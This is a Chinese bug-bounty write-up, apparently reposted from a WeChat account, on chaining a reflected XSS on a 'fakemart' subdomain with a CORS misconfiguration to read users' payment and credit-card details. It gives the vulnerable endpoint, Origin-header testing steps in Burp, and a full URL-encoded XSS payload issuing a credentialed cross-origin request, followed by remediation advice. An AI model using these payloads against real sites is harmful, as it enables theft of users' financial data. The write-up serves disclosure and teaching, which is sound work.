声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
前言
fakemart中的XSS CORS 2500 美金漏洞挖掘记录分享。
正文
在测试 fakemart 时。发现了一个 CORS 漏洞,可以利用该漏洞获取其他用户的详细信息,例如他的地址、电话号码和信用卡详细信息等。
POC如下 :
https://www.fakemart.com/account/electrode/account/api/customer/:CID/payment-method
CORS漏洞复现:
在 fakemart.com 注册。
注册后编辑好的个人资料详情。
访问https://www.fakemart.com/account/creditcards。
编辑信用卡详细信息并保存。
添加信用卡详细信息等并保存后。
访问此链接:
https ://www.fakemart.com/account/electrode/account/api/customer/:CID/payment-method
在 Burpsuite 中拦截请求。
1. 向intercept 发送请求。
2.现在添加或编辑Origin Header到:Origin:market-apply.fakemart.com。
3.服务端将按Origin的输入,原样回显在响应头的 Access-Control-Allow-Origin标头中。
经过一些研究和测试,另外我在网站上发现了一个反射型 XSS:
https://marketplace-apply.fakemart.com/apply?id=’;</scrip><script>alert(document.domain)</script>
现在来利用这个漏洞
我使用的工具:
1.火狐浏览器
2. 火狐的 Hackbar 扩展。
我花了 1 天时间编写这个xss payload,利用xss请求cors来获取信用卡数据。
https://marketplace-apply.fakemart.com/apply?id=%27;%3C/script%3E%3Cscript%3Evar%20xhr%20=%20new%20XMLHttpRequest();xhr.open(%22GET%22, %22https://www.fakemart.com/account/electrode/account/api/customer/:CID/payment-method%22,true);xhr.withCredentials=true;xhr.send();xhr.response;% 3C/脚本%3E//%3C!--
当在 hackbar 扩展中按执行时,它将执行代码,按下 hackbar 旁边的浏览器控制台按钮。写入:xhr.response并按 Enter 键,将会看到使用 javascript 跨域泄露的详细信息。
任何恶意攻击者都可以使用这种方法泄露用户的详细信息并将这些数据发送到他自己的服务器。
它被标记为 P1 并获得了 2500 美元的奖励,约等于人民币17770.5元。
漏洞修复建议
1.修复子域上的XSS。
2.不允许通配符子域获取api数据。
原文始发于微信公众号(BugHunting):Fakemart 中的CORS到XSS 2500 美刀